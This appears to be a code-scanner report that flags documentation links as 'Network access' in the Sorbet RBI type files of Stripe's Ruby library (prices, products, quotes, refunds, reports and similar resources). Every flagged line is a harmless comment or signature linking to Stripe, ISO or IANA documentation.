# Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), [create an invoice](https://docs.stripe.com/billing/invoices/create), and more about [products and prices](https://docs.stripe.com - Network accessline 55
sig { returns(T.nilable(CustomUnitAmount)) } def custom_unit_amount; end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recomme - Network accessline 56
def custom_unit_amount; end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. - Network accessline 57
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 101
sig { returns(T.nilable(String)) } def meter; end # Default number of trial days when subscribing a customer to this price using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan). - Network accessline 102
def meter; end # Default number of trial days when subscribing a customer to this price using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan). sig { returns(T.nilable(Integer)) } - Network accessline 103
# Default number of trial days when subscribing a customer to this price using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan). - Network accessline 160
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 161
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 162
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 163
sig { returns(String) } def currency; end # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://s - Network accessline 164
def currency; end # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 165
# Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 178
sig { returns(T.nilable(String)) } def lookup_key; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a st - Network accessline 179
def lookup_key; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T::H - Network accessline 180
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 193
sig { returns(T.nilable(Recurring)) } def recurring; end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provi - Network accessline 194
def recurring; end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies - Network accessline 195
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 217
sig { returns(T.nilable(T::Boolean)) } def deleted; end # Creates a new [Price for an existing <a href="https://docs.stripe.com/api/products">Product](https://docs.stripe.com/api/prices). The Price can be recurring or one-time. - Network accessline 218
def deleted; end # Creates a new [Price for an existing <a href="https://docs.stripe.com/api/products">Product](https://docs.stripe.com/api/prices). The Price can be recurring or one-time. sig { - Network accessline 219
# Creates a new [Price for an existing <a href="https://docs.stripe.com/api/products">Product](https://docs.stripe.com/api/prices). The Price can be recurring or one-time. - Network accessline 225
# Returns a list of your active prices, excluding [inline prices](https://docs.stripe.com/docs/products-prices/pricing-models#inline-pricing). For the list of inactive prices, set active to false.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/product.rbi
- Network accessline 6
# Products describe the specific goods or services you offer to your customers. # For example, you might offer a Standard and Premium version of your goods or service; each version would be a separate Product. # They can be used in conj - Network accessline 7
# For example, you might offer a Standard and Premium version of your goods or service; each version would be a separate Product. # They can be used in conjunction with [Prices](https://api.stripe.com#prices) to configure pricing in Payme - Network accessline 8
# They can be used in conjunction with [Prices](https://api.stripe.com#prices) to configure pricing in Payment Links, Checkout, and Subscriptions. - Network accessline 9
# # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), # [share a Payment Link](https://docs.stripe.com/payment-links), - Network accessline 10
# Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), - Network accessline 11
# [share a Payment Link](https://docs.stripe.com/payment-links), - Network accessline 12
# [accept payments with Checkout](https://docs.stripe.com/payments/accept-a-payment#create-product-prices-upfront), - Network accessline 13
# and more about [Products and Prices](https://docs.stripe.com/products-prices/overview) - Network accessline 50
sig { returns(Integer) } def created; end # The ID of the [Price](https://docs.stripe.com/api/prices) object that is the default price for this product. - Network accessline 51
def created; end # The ID of the [Price](https://docs.stripe.com/api/prices) object that is the default price for this product. sig { returns(T.nilable(T.any(String, ::Stripe::Price))) } - Network accessline 52
# The ID of the [Price](https://docs.stripe.com/api/prices) object that is the default price for this product. - Network accessline 65
sig { returns(T::Boolean) } def livemode; end # A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table). - Network accessline 66
def livemode; end # A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table). sig { returns(T::Array[MarketingFeature]) } - Network accessline 67
# A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table). - Network accessline 68
sig { returns(T::Array[MarketingFeature]) } def marketing_features; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about t - Network accessline 69
def marketing_features; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { retu - Network accessline 70
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 86
sig { returns(T.nilable(String)) } def statement_descriptor; end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 87
def statement_descriptor; end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. sig { returns(T.nilable(T.any(String, ::Stripe::TaxCode))) } - Network accessline 88
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/promotion_code.rbi
- Network accessline 7
# You can create multiple codes for a single promotion. # # If you enable promotion codes in your [customer portal configuration](https://docs.stripe.com/customer-management/configure-portal), then customers can redeem a code themselves - Network accessline 8
# # If you enable promotion codes in your [customer portal configuration](https://docs.stripe.com/customer-management/configure-portal), then customers can redeem a code themselves when updating a subscription in the portal. # Customers - Network accessline 9
# If you enable promotion codes in your [customer portal configuration](https://docs.stripe.com/customer-management/configure-portal), then customers can redeem a code themselves when updating a subscription in the portal. - Network accessline 36
end end # Promotion code restrictions defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com - Network accessline 37
end # Promotion code restrictions defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/curr - Network accessline 38
# Promotion code restrictions defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 45
sig { returns(T.nilable(Integer)) } def minimum_amount; end # Three-letter [ISO code](https://stripe.com/docs/currencies) for minimum_amount - Network accessline 46
def minimum_amount; end # Three-letter [ISO code](https://stripe.com/docs/currencies) for minimum_amount sig { returns(T.nilable(String)) } - Network accessline 47
# Three-letter [ISO code](https://stripe.com/docs/currencies) for minimum_amount - Network accessline 82
sig { returns(T.nilable(Integer)) } def max_redemptions; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object i - Network accessline 83
def max_redemptions; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns - Network accessline 84
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/quote.rbi
- Network accessline 49
sig { returns(Integer) } def amount; end # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). - Network accessline 50
def amount; end # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). # It contains information about when the d - Network accessline 51
# A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). - Network accessline 52
# It contains information about when the discount began, when it will end, and what it is applied to. # # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discoun - Network accessline 53
# # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) sig { returns(::Stripe::Discount) } - Network accessline 54
# Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) - Network accessline 145
sig { returns(Integer) } def amount; end # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). - Network accessline 146
def amount; end # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). # It contains information about when the d - Network accessline 147
# A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). - Network accessline 148
# It contains information about when the discount began, when it will end, and what it is applied to. # # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discoun - Network accessline 149
# # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) sig { returns(::Stripe::Discount) } - Network accessline 150
# Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) - Network accessline 338
sig { returns(T.nilable(Integer)) } def effective_date; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a re - Network accessline 339
def effective_date; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is included in `line_items`, - Network accessline 340
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is included in `line_items`, this field will be passed to - Network accessline 357
sig { returns(Integer) } def amount; end # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). - Network accessline 358
def amount; end # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). # It contains information about when the discount - Network accessline 359
# A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). - Network accessline 360
# It contains information about when the discount began, when it will end, and what it is applied to. # # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) - Network accessline 361
# # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) sig { returns(::Stripe::Discount) } - Network accessline 362
# Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) - Network accessline 468
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 469
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T.nilable(String)) } - Network accessline 470
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 492
sig { returns(T.nilable(String)) } def footer; end # Details of the quote that was cloned. See the [cloning documentation](https://docs.stripe.com/quotes/clone) for more details. - Network accessline 493
def footer; end # Details of the quote that was cloned. See the [cloning documentation](https://docs.stripe.com/quotes/clone) for more details. sig { returns(T.nilable(FromQuote)) } - Network accessline 494
# Details of the quote that was cloned. See the [cloning documentation](https://docs.stripe.com/quotes/clone) for more details. - Network accessline 513
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 514
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T::Has - Network accessline 515
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 516
sig { returns(T::Hash[String, String]) } def metadata; end # A unique number that identifies this particular quote. This number is assigned once the quote is [finalized](https://docs.stripe.com/quotes/overview#finalize). - Network accessline 517
def metadata; end # A unique number that identifies this particular quote. This number is assigned once the quote is [finalized](https://docs.stripe.com/quotes/overview#finalize). sig { returns(T.nilable(String)) } - Network accessline 518
# A unique number that identifies this particular quote. This number is assigned once the quote is [finalized](https://docs.stripe.com/quotes/overview#finalize). - Network accessline 522
sig { returns(String) } def object; end # The account on behalf of which to charge. See the [Connect documentation](https://support.stripe.com/questions/sending-invoices-on-behalf-of-connected-accounts) for details. - Network accessline 523
def object; end # The account on behalf of which to charge. See the [Connect documentation](https://support.stripe.com/questions/sending-invoices-on-behalf-of-connected-accounts) for details. sig { returns(T.nilable(T.any(String, :: - Network accessline 524
# The account on behalf of which to charge. See the [Connect documentation](https://support.stripe.com/questions/sending-invoices-on-behalf-of-connected-accounts) for details. - Network accessline 575
# A quote models prices and services for a customer. Default options for header, description, footer, and expires_at can be set in the dashboard via the [quote template](https://dashboard.stripe.com/settings/billing/quote). - Network accessline 599
# When retrieving a quote, there is an includable [computed.upfront.line_items](https://stripe.com/docs/api/quotes/object#quote_object-computed-upfront-line_items) property containing the first handful of those items. There is also a URL wh - Network accessline 605
# When retrieving a quote, there is an includable [computed.upfront.line_items](https://stripe.com/docs/api/quotes/object#quote_object-computed-upfront-line_items) property containing the first handful of those items. There is also a URL wh - Network accessline 623
# Download the PDF for a finalized quote. Explanation for special handling can be found [here](https://docs.stripe.com/quotes/overview#quote_pdf) - Network accessline 629
# Download the PDF for a finalized quote. Explanation for special handling can be found [here](https://docs.stripe.com/quotes/overview#quote_pdf)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/radar/early_fraud_warning.rbi
- Network accessline 8
# charge may be fraudulent. # # Related guide: [Early fraud warnings](https://docs.stripe.com/disputes/measuring#early-fraud-warnings) - Network accessline 9
# # Related guide: [Early fraud warnings](https://docs.stripe.com/disputes/measuring#early-fraud-warnings) class EarlyFraudWarning < APIResource - Network accessline 10
# Related guide: [Early fraud warnings](https://docs.stripe.com/disputes/measuring#early-fraud-warnings)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/radar/value_list.rbi
- Network accessline 7
# Value lists allow you to group values together which can then be referenced in rules. # # Related guide: [Default Stripe lists](https://docs.stripe.com/radar/lists#managing-list-items) - Network accessline 8
# # Related guide: [Default Stripe lists](https://docs.stripe.com/radar/lists#managing-list-items) class ValueList < APIResource - Network accessline 9
# Related guide: [Default Stripe lists](https://docs.stripe.com/radar/lists#managing-list-items) - Network accessline 30
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu - Network accessline 31
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T: - Network accessline 32
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/radar/value_list_item.rbi
- Network accessline 7
# Value list items allow you to add specific values to a given Radar value list, which can then be used in rules. # # Related guide: [Managing list items](https://docs.stripe.com/radar/lists#managing-list-items) - Network accessline 8
# # Related guide: [Managing list items](https://docs.stripe.com/radar/lists#managing-list-items) class ValueListItem < APIResource - Network accessline 9
# Related guide: [Managing list items](https://docs.stripe.com/radar/lists#managing-list-items)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/refund.rbi
- Network accessline 8
# initially charged. # # Related guide: [Refunds](https://docs.stripe.com/refunds) - Network accessline 9
# # Related guide: [Refunds](https://docs.stripe.com/refunds) class Refund < APIResource - Network accessline 10
# Related guide: [Refunds](https://docs.stripe.com/refunds) - Network accessline 606
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 607
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 608
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 627
sig { returns(T.nilable(String)) } def instructions_email; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object - Network accessline 628
def instructions_email; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { retu - Network accessline 629
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 654
sig { returns(T.nilable(T.any(String, ::Stripe::Reversal))) } def source_transfer_reversal; end # Status of the refund. This can be `pending`, `requires_action`, `succeeded`, `failed`, or `canceled`. Learn more about [failed refunds - Network accessline 655
def source_transfer_reversal; end # Status of the refund. This can be `pending`, `requires_action`, `succeeded`, `failed`, or `canceled`. Learn more about [failed refunds](https://docs.stripe.com/refunds#failed-refunds). sig { retur - Network accessline 656
# Status of the refund. This can be `pending`, `requires_action`, `succeeded`, `failed`, or `canceled`. Learn more about [failed refunds](https://docs.stripe.com/refunds#failed-refunds).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/reporting/report_run.rbi
- Network accessline 9
# When the report has finished running, it will give you a reference to a file # where you can retrieve your results. For an overview, see # [API Access to Reports](https://docs.stripe.com/reporting/statements/api). - Network accessline 10
# where you can retrieve your results. For an overview, see # [API Access to Reports](https://docs.stripe.com/reporting/statements/api). # - Network accessline 11
# [API Access to Reports](https://docs.stripe.com/reporting/statements/api). - Network accessline 12
# # Note that certain report types can only be run based on your live-mode data (not test-mode # data), and will error when queried without a [live-mode API key](https://docs.stripe.com/keys#test-live-modes). - Network accessline 13
# Note that certain report types can only be run based on your live-mode data (not test-mode # data), and will error when queried without a [live-mode API key](https://docs.stripe.com/keys#test-live-modes). class ReportRun < APIReso - Network accessline 14
# data), and will error when queried without a [live-mode API key](https://docs.stripe.com/keys#test-live-modes). - Network accessline 36
sig { returns(T.nilable(String)) } def reporting_category; end # Defaults to `Etc/UTC`. The output timezone for all timestamps in the report. A list of possible time zone values is maintained at the [IANA Time Zone Database] - Network accessline 37
def reporting_category; end # Defaults to `Etc/UTC`. The output timezone for all timestamps in the report. A list of possible time zone values is maintained at the [IANA Time Zone Database](http://www.iana.org/time-zones). Has no ef - Network accessline 38
# Defaults to `Etc/UTC`. The output timezone for all timestamps in the report. A list of possible time zone values is maintained at the [IANA Time Zone Database](http://www.iana.org/time-zones). Has no effect on `interval_start` or `interva - Network accessline 65
sig { returns(Parameters) } def parameters; end # The ID of the [report type](https://docs.stripe.com/reports/report-types) to run, such as `"balance.summary.1"`. - Network accessline 66
def parameters; end # The ID of the [report type](https://docs.stripe.com/reports/report-types) to run, such as `"balance.summary.1"`. sig { returns(String) } - Network accessline 67
# The ID of the [report type](https://docs.stripe.com/reports/report-types) to run, such as `"balance.summary.1"`. - Network accessline 81
sig { returns(T.nilable(Integer)) } def succeeded_at; end # Creates a new object and begin running the report. (Certain report types require a [live-mode API key](https://stripe.com/docs/keys#test-live-modes).) - Network accessline 82
def succeeded_at; end # Creates a new object and begin running the report. (Certain report types require a [live-mode API key](https://stripe.com/docs/keys#test-live-modes).) sig { - Network accessline 83
# Creates a new object and begin running the report. (Certain report types require a [live-mode API key](https://stripe.com/docs/keys#test-live-modes).)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/reporting/report_type.rbi
- Network accessline 8
# the "Activity summary" or "Itemized payouts" reports. These objects are # identified by an ID belonging to a set of enumerated values. See # [API Access to Reports documentation](https://docs.stripe.com/reporting/statements/api) - Network accessline 9
# identified by an ID belonging to a set of enumerated values. See # [API Access to Reports documentation](https://docs.stripe.com/reporting/statements/api) # for those Report Type IDs, along with required and optional parameters. - Network accessline 10
# [API Access to Reports documentation](https://docs.stripe.com/reporting/statements/api) - Network accessline 12
# # Note that certain report types can only be run based on your live-mode data (not test-mode # data), and will error when queried without a [live-mode API key](https://docs.stripe.com/keys#test-live-modes). - Network accessline 13
# Note that certain report types can only be run based on your live-mode data (not test-mode # data), and will error when queried without a [live-mode API key](https://docs.stripe.com/keys#test-live-modes). class ReportType < APIRes - Network accessline 14
# data), and will error when queried without a [live-mode API key](https://docs.stripe.com/keys#test-live-modes). - Network accessline 23
sig { returns(T.nilable(T::Array[String])) } def default_columns; end # The [ID of the Report Type](https://docs.stripe.com/reporting/statements/api#available-report-types), such as `balance.summary.1`. - Network accessline 24
def default_columns; end # The [ID of the Report Type](https://docs.stripe.com/reporting/statements/api#available-report-types), such as `balance.summary.1`. sig { returns(String) } - Network accessline 25
# The [ID of the Report Type](https://docs.stripe.com/reporting/statements/api#available-report-types), such as `balance.summary.1`.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/reserve_transaction.rbi
- Network accessline 8
sig { returns(Integer) } def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 9
def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 10
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/reversal.rbi
- Network accessline 4
# typed: true module Stripe # [Stripe Connect](https://docs.stripe.com/connect) platforms can reverse transfers made to a - Network accessline 5
module Stripe # [Stripe Connect](https://docs.stripe.com/connect) platforms can reverse transfers made to a # connected account, either entirely or partially, and can also specify whether - Network accessline 6
# [Stripe Connect](https://docs.stripe.com/connect) platforms can reverse transfers made to a - Network accessline 10
# # Reversing a transfer that was made for a [destination # charge](https://docs.stripe.com/docs/connect/destination-charges) is allowed only up to the amount of - Network accessline 11
# Reversing a transfer that was made for a [destination # charge](https://docs.stripe.com/docs/connect/destination-charges) is allowed only up to the amount of # the charge. It is possible to reverse a - Network accessline 12
# charge](https://docs.stripe.com/docs/connect/destination-charges) is allowed only up to the amount of - Network accessline 13
# the charge. It is possible to reverse a # [transfer_group](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) # transfer only if the destination account has enough balance to cover the - Network accessline 14
# [transfer_group](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) - Network accessline 16
# reversal. # # Related guide: [Reverse transfers](https://docs.stripe.com/connect/separate-charges-and-transfers#reverse-transfers) - Network accessline 17
# # Related guide: [Reverse transfers](https://docs.stripe.com/connect/separate-charges-and-transfers#reverse-transfers) class Reversal < APIResource - Network accessline 18
# Related guide: [Reverse transfers](https://docs.stripe.com/connect/separate-charges-and-transfers#reverse-transfers) - Network accessline 27
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 28
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 29
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 36
sig { returns(String) } def id; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 37
def id; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.nilable(T: - Network accessline 38
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/review.rbi
- Network accessline 6
# Reviews can be used to supplement automated fraud detection with human expertise. # # Learn more about [Radar](https://docs.stripe.com/radar) and reviewing payments - Network accessline 7
# # Learn more about [Radar](https://docs.stripe.com/radar) and reviewing payments # [here](https://docs.stripe.com/radar/reviews). - Network accessline 8
# Learn more about [Radar](https://docs.stripe.com/radar) and reviewing payments - Network accessline 9
# [here](https://docs.stripe.com/radar/reviews).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/setup_attempt.rbi
- Network accessline 504
end class SetupError < ::Stripe::StripeObject # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they prov - Network accessline 505
class SetupError < ::Stripe::StripeObject # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provide one. - Network accessline 506
# For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provide one. - Network accessline 510
sig { returns(T.nilable(String)) } def charge; end # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 511
def charge; end # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported. sig { returns(T.nilable(String)) } - Network accessline 512
# For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 513
sig { returns(T.nilable(String)) } def code; end # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if t - Network accessline 514
def code; end # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one. sig { returns(T.ni - Network accessline 515
# For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one. - Network accessline 516
sig { returns(T.nilable(String)) } def decline_code; end # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 517
def decline_code; end # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported. sig { returns(T.nilable(String)) } - Network accessline 518
# A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 541
# authentication flows and ultimately creates at most one successful charge. # # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) - Network accessline 542
# # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) sig { returns(T.nilable(::Stripe::PaymentIntent)) } - Network accessline 543
# Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) - Network accessline 545
def payment_intent; end # PaymentMethod objects represent your customer's payment instruments. # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 546
# PaymentMethod objects represent your customer's payment instruments. # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to # Customer objects to store in - Network accessline 547
# You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 548
# Customer objects to store instrument details for future payments. # # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payme - Network accessline 549
# # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios). sig { returns(T.nilable(::Stripe::PaymentMethod)) } - Network accessline 550
# Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios). - Network accessline 559
# A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments. # For example, you can use a SetupIntent to set up and save your customer's card without immediately collect - Network accessline 560
# For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment. # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow. - Network accessline 561
# Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow. - Network accessline 563
